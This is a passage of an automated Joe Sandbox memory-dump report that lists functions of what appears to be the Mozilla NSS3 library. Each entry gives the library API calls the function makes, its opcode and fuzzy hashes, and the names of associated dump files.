Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Arena$Value$Alloc_AllocateCriticalEnterSectionUnlockUtil$CertTrustmemcpy
String ID:
API String ID: 1891477919-0
Opcode ID: caa08c4c4f8b2167a99a5fd853ff2f6edd5901dceac0ca8fe26d07222a444166
Instruction ID: 5976c4a09f421e0d23b68d22dadcf22efd960cf0fa309edb14dfa62da2bf6f95
Opcode Fuzzy Hash: caa08c4c4f8b2167a99a5fd853ff2f6edd5901dceac0ca8fe26d07222a444166
Instruction Fuzzy Hash: 2C117FB5A00219DBCB00DFA9DC40EABB7E8AF48258B448125EC149B751E732D825CBE1

Function 6C54EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C537FFA,?,6C539767,?,8B7874C0,0000A48E), ref: 6C54EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C537FFA,?,6C539767,?,8B7874C0,0000A48E), ref: 6C54EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C537FFA,?,6C539767,?,8B7874C0,0000A48E), ref: 6C54EE14

Part of subcall function 6C520BE0: malloc.MOZGLUE(6C518D2D,?,00000000,?), ref: 6C520BF8
Part of subcall function 6C520BE0: TlsGetValue.KERNEL32(6C518D2D,?,00000000,?), ref: 6C520C15

memcpy.VCRUNTIME140(?,?,6C539767,00000000,00000000,6C537FFA,?,6C539767,?,8B7874C0,0000A48E), ref: 6C54EE33

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: d29a8985a7834fafad25f313281d178eb5839f110cf7d604362d77874bbbb03d
Instruction ID: d4da955a09dc5ce7a7a2e99fcc2dfb2b7be6f741c49cb478df083f8047c8ebe1
Opcode Fuzzy Hash: d29a8985a7834fafad25f313281d178eb5839f110cf7d604362d77874bbbb03d
Instruction Fuzzy Hash: 5B11A0B1A00706ABEB10DE69DC84F06F3A8EB0435DF208535E91986A40E3B1F86487E1

Function 6C4CDFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C4E06A0: TlsGetValue.KERNEL32 ref: 6C4E06C2
Part of subcall function 6C4E06A0: EnterCriticalSection.KERNEL32(?), ref: 6C4E06D6
Part of subcall function 6C4E06A0: PR_Unlock.NSS3 ref: 6C4E06EB

CERT_NewCertList.NSS3 ref: 6C4CDFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C4CDFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C4CDFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C4CE029

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 6253646be99a040ebcdfde2e7cace8890a02d014f41061413ef645afa64dd6cf
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 0011007DB0021567DB10DEAA5C85FAB7578AB8035DF040538E91887731E772D81597E3

Function 6C5308D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C5309B3,0000001A,?), ref: 6C5308E9

Part of subcall function 6C520840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5208B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C5308FD

Part of subcall function 6C51FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C518D2D,?,00000000,?), ref: 6C51FB85
Part of subcall function 6C51FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C51FBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6C530939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C530953

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: b5a06802e4322d25cf6a2b7bcc39517ac2a53199de393b9ef9882acc4085c005
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: 1101D6B260575A6BFB149A369C10B6737989FC0218F10543AFC1EC7F41FB31E8148A94

Function 6C559950 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6C559968
free.MOZGLUE ref: 6C559986
PORT_Strdup_Util.NSS3 ref: 6C55999D
TlsGetValue.KERNEL32 ref: 6C5599C0

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: IdentitiesLayerStrdup_UtilValuefree
String ID:
API String ID: 1850533678-0
Opcode ID: 030ebb730568bb455134e899eee3af46e78a7af5696fd093eb4961c2b69db751
Instruction ID: 49e0a36d0dfd056abb76b5b80a5e57a9cfeb47e670e83cf6f1760c90df3ae6b7
Opcode Fuzzy Hash: 030ebb730568bb455134e899eee3af46e78a7af5696fd093eb4961c2b69db751
Instruction Fuzzy Hash: 1411B1F0608602CBD700AF39C9457A9BBF4FF45344F418A2AD898CBB50E738D4A1CB95

Function 6C5149C0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 6C518800: TlsGetValue.KERNEL32(?,6C52085A,00000000,?,6C4C8369,?), ref: 6C518821
Part of subcall function 6C518800: TlsGetValue.KERNEL32(?,?,6C52085A,00000000,?,6C4C8369,?), ref: 6C51883D
Part of subcall function 6C518800: EnterCriticalSection.KERNEL32(?,?,?,6C52085A,00000000,?,6C4C8369,?), ref: 6C518856
Part of subcall function 6C518800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C518887
Part of subcall function 6C518800: PR_Unlock.NSS3(?,?,?,?,6C52085A,00000000,?,6C4C8369,?), ref: 6C518899

PR_SetError.NSS3 ref: 6C514A10
TlsGetValue.KERNEL32(6C50781D,?,6C4FBD28,00CD52E8,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C514A24
EnterCriticalSection.KERNEL32(?,?,?,6C4FBD28,00CD52E8), ref: 6C514A39
PR_Unlock.NSS3(?,?,?,?,6C4FBD28,00CD52E8), ref: 6C514A4E

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 05825946a19bd54b5a9597fb00af43409b7c04e283c3fb0c576632ced765ce2e
Instruction ID: 0dfd797d79fee6883b5b93970f5281015c7e680e8830c7203beb91b44e21c104
Opcode Fuzzy Hash: 05825946a19bd54b5a9597fb00af43409b7c04e283c3fb0c576632ced765ce2e
Instruction Fuzzy Hash: EA2151B4A08600CFEB10AF79C88956AB7F4FF45358F014929D8859BF01E734E884CB96

Function 6C54D940 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(00000000,?,?,6C54DEBF,00000000), ref: 6C54D957

Part of subcall function 6C4C95B0: TlsGetValue.KERNEL32(00000000,?,6C4E00D2,00000000), ref: 6C4C95D2
Part of subcall function 6C4C95B0: EnterCriticalSection.KERNEL32(?,?,?,6C4E00D2,00000000), ref: 6C4C95E7
Part of subcall function 6C4C95B0: PR_Unlock.NSS3(?,?,?,?,6C4E00D2,00000000), ref: 6C4C9605

PORT_FreeArena_Util.NSS3(?,00000000,?,?,6C54DEBF,00000000), ref: 6C54D96B
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,6C54DEBF,00000000), ref: 6C54D9A1
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,6C54DEBF,00000000), ref: 6C54D9B5

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Item_Zfree$Arena_CertificateCriticalDestroyEnterFreeSectionUnlockValue
String ID:
API String ID: 1823385167-0
Opcode ID: ffdee1a7fb8bd61359aba1232f998f095fa05e0c62ea424573fca179fe2afd97
Instruction ID: f0335282bcecdb2ae6c903b8d748cffcc80be4f43e0ce6164aaa64b83e6589ba
Opcode Fuzzy Hash: ffdee1a7fb8bd61359aba1232f998f095fa05e0c62ea424573fca179fe2afd97
Instruction Fuzzy Hash: 0311A1B2B0170097EB20DE75EC45F9773E8AB00759F544939E44AD7E80F725F918C6A1

Function 6C4E8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C4E8DE7
EnterCriticalSection.KERNEL32 ref: 6C4E8DFC
PR_Unlock.NSS3 ref: 6C4E8E2D
PR_SetError.NSS3 ref: 6C4E8E49

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 26a70a81c608d060086a1f9915932b0254cd77499caf38d6a26dfaecce47e5a8
Instruction ID: eb7dc850f397f828830dfc98873a9ee58e7f22bf890c68cd0aa485340cd507ad
Opcode Fuzzy Hash: 26a70a81c608d060086a1f9915932b0254cd77499caf38d6a26dfaecce47e5a8
Instruction Fuzzy Hash: 88118F75A056009BDB00AF7DC484A69BBF4FF49315F02492ADC89D7B00E730E894CBD5

Function 6C5898D0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,6C4B0936,00000001,?,6C4B102C), ref: 6C5898E5
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C589946
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4416B7,00000000), ref: 6C58994E

Part of subcall function 6C441630: TlsGetValue.KERNEL32(00000000,?,6C4B0936,00000000,?,6C44204A), ref: 6C441659

free.MOZGLUE(00000000), ref: 6C58995E

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpinValuecallocfree
String ID:
API String ID: 1588565019-0
Opcode ID: 616ad5282b498c4efbd40025732d4f203f296331d4ed60cf3f54be120021cb77
Instruction ID: 20eaf0e19a97f30913d6e2fef4fb7da39a250dc76b5f1970d4d81056b81cb152
Opcode Fuzzy Hash: 616ad5282b498c4efbd40025732d4f203f296331d4ed60cf3f54be120021cb77
Instruction Fuzzy Hash: 9B01C071742721AFD721AF6D8C4AB5BBAF8AB06B56F00043EE14AD2E40DB74D004CBA5

Function 6C56AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C555F17,?,?,?,?,?,?,?,?,6C55AAD4), ref: 6C56AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C555F17,?,?,?,?,?,?,?,?,6C55AAD4), ref: 6C56ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C55AAD4), ref: 6C56ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C55AAD4), ref: 6C56ACDB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 3ad1bedf8d1365671ae4a75d001c1a98c8d68b629efaa4c1ab195ff68f9e9c19
Instruction ID: 5e8c6f51bc2c42fa3f0deff0f8f3118a927fbcb82a07f105b906a9d12a05e2e1
Opcode Fuzzy Hash: 3ad1bedf8d1365671ae4a75d001c1a98c8d68b629efaa4c1ab195ff68f9e9c19
Instruction Fuzzy Hash: 8C018CB1601B129BE750DF2ADD49747B7E8BF10759B004839E85AC3E10E731F014CB90

Function 6C4D1DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C4D1DFB

Part of subcall function 6C4C95B0: TlsGetValue.KERNEL32(00000000,?,6C4E00D2,00000000), ref: 6C4C95D2
Part of subcall function 6C4C95B0: EnterCriticalSection.KERNEL32(?,?,?,6C4E00D2,00000000), ref: 6C4C95E7
Part of subcall function 6C4C95B0: PR_Unlock.NSS3(?,?,?,?,6C4E00D2,00000000), ref: 6C4C9605

PR_EnterMonitor.NSS3 ref: 6C4D1E09

Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C5890AB
Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C5890C9
Part of subcall function 6C589090: EnterCriticalSection.KERNEL32 ref: 6C5890E5
Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C589116
Part of subcall function 6C589090: LeaveCriticalSection.KERNEL32 ref: 6C58913F

Part of subcall function 6C4CE190: PR_EnterMonitor.NSS3(?,?,6C4CE175), ref: 6C4CE19C
Part of subcall function 6C4CE190: PR_EnterMonitor.NSS3(6C4CE175), ref: 6C4CE1AA
Part of subcall function 6C4CE190: PR_ExitMonitor.NSS3 ref: 6C4CE208
Part of subcall function 6C4CE190: PL_HashTableRemove.NSS3(?), ref: 6C4CE219
Part of subcall function 6C4CE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C4CE231
Part of subcall function 6C4CE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C4CE249
Part of subcall function 6C4CE190: PR_ExitMonitor.NSS3 ref: 6C4CE257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4D1E37
PR_ExitMonitor.NSS3 ref: 6C4D1E4A

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: debfa0ec4e50ccc520d4e5814f33c5eec0dcb77c09099b22107bf1a444e8f54a
Instruction ID: 0de13e8c2484a465f5ed70ba72decbc92d70e282ea1fb32b89868b5fb66efa5c
Opcode Fuzzy Hash: debfa0ec4e50ccc520d4e5814f33c5eec0dcb77c09099b22107bf1a444e8f54a
Instruction Fuzzy Hash: E1014771B00162D7EB00EA26DC54F0277A4AB4176DF120030DC199BB61E731F814CBC2

Function 6C4D1D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4D1D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C4D1D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C4D1D9C
free.MOZGLUE(00000000), ref: 6C4D1DB8

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 9fdc54b6fb110c7a593de9234ef19981b1d8d7862f4101fbe6a8c5e45879dd0c
Instruction ID: efec96f0c367fda98d041dcf1c1a77da674240dc979d6d3c627327e4a3c55d31
Opcode Fuzzy Hash: 9fdc54b6fb110c7a593de9234ef19981b1d8d7862f4101fbe6a8c5e45879dd0c
Instruction Fuzzy Hash: 17F026B2A4220057FF10AF5A5C52F4672989FC17A9F120236DD0947B40D720F800C6E1

Function 6C5188E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6C5208AA,?), ref: 6C5188F6
EnterCriticalSection.KERNEL32(?,?,?,?,6C5208AA,?), ref: 6C51890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6C5208AA,?), ref: 6C518936
PR_Unlock.NSS3(?,?,?,?,?,6C5208AA,?), ref: 6C518940

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 60c54a5a6b23e368833885de24b3a97e128f41edcb97d91f63f209c4d98684c6
Instruction ID: 24d0358f70602c0df121323db738f2bba992ca5d20ee84a02e4d25be7e6d342b
Opcode Fuzzy Hash: 60c54a5a6b23e368833885de24b3a97e128f41edcb97d91f63f209c4d98684c6
Instruction Fuzzy Hash: 9A0152746046059BE710AF3AC488959B7F4FB05358F054A2AD88587B00E730E894CBD2

Function 6C550840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C622F88,6C550660,00000020,00000000,?,?,6C552C3D,?,00000000,00000000,?,6C552A28,00000060,00000001), ref: 6C550860

Part of subcall function 6C444C70: TlsGetValue.KERNEL32(?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444C97
Part of subcall function 6C444C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444CB0
Part of subcall function 6C444C70: PR_Unlock.NSS3(?,?,?,?,?,6C443921,6C6214E4,6C58CC70), ref: 6C444CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6C552C3D,?,00000000,00000000,?,6C552A28,00000060,00000001), ref: 6C550874
EnterCriticalSection.KERNEL32(00000001), ref: 6C550884
PR_Unlock.NSS3 ref: 6C5508A3

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 3a04a2991d780e4d00b4c085c0a19b1b6f66091757d60dabff603a18a12f00f1
Instruction ID: 98ce92908669fccdeec1cc216bcfe245f1d117566a811cb6ce8202bb9d670308
Opcode Fuzzy Hash: 3a04a2991d780e4d00b4c085c0a19b1b6f66091757d60dabff603a18a12f00f1
Instruction Fuzzy Hash: 39017B76A00244ABEB002F2BDC85D597B38DB9236DF484537EC0852A02EB32D87487E5

Function 6C51FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

